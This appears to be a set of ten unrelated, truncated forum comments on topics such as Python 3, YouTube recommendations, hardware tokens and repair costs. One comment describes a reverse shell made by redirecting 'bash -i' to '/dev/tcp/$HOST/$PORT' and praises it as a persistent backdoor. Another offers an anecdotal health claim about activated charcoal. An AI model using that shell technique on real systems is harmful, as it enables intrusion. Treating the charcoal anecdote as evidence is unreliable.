I welcome Python3 just fine. Character data no longer being automatically ASCII might be a bit annoying, but it's fine if that's what it takes to support a more global developer base. I just wish they would stop iterating on the

I have a similar tale to tell. Ever since I've taken activated charcoal regularly, I have felt considerable improvement in my digestion and overall well-being. I feel happier, even. The charcoal is "sourced from non-GMO coconut

Yes, absolutely. I like his candor, and honestly I get fairly demoralized when I have to work alongside underperforming peers. Nobody likes to talk about the form of workplace toxicity that manifests in the form of lazy coworkers who ride

I will never pay for YouTube until I'm guaranteed a way to opt out of the recommendation algorithm. It's not so much a recommendation algorithm as much as it is an adversarial search on my behavior to see what cheap content I&#x

Why not just redirect bash -i to /dev/tcp/$HOST/$PORT on your local net if you're red teaming? Rather than using someone else's server. Good idea as a persistent backdoor though.

The same could happen with a hardware token like Yubikey, if it were to suffer from an irrecoverable software or hardware error. It's still useful, because spoofed authentication prompts will no longer get a chance at plaintext access

I understand what the halting problem implies, what complexity is, what Turing machine means and why they are an abstraction for algorithms, and the basic common memes of programming such as using a stack and a heap, IEEE 754 floating point

I can see this degenerating into some sort of efficiency metric that will be engineered around. For instance, it wouldn't be too hard to take the Google logo and make it a proper "light" with some LEDs. Or simply write out

The display assembly itself is $450, so 680 EUR sounds about right to have it professionally repaired. Also, it makes sense that it would cost that much. Most of the product is that luxury display, with an M1 hanging off it. You could pro

Posts like these, for me, highlight the class divide. PG thinks "few people" grasp how much effort dang expends, when in reality, a whole class of people working in customer service roles expend roughly the same amount of effort.
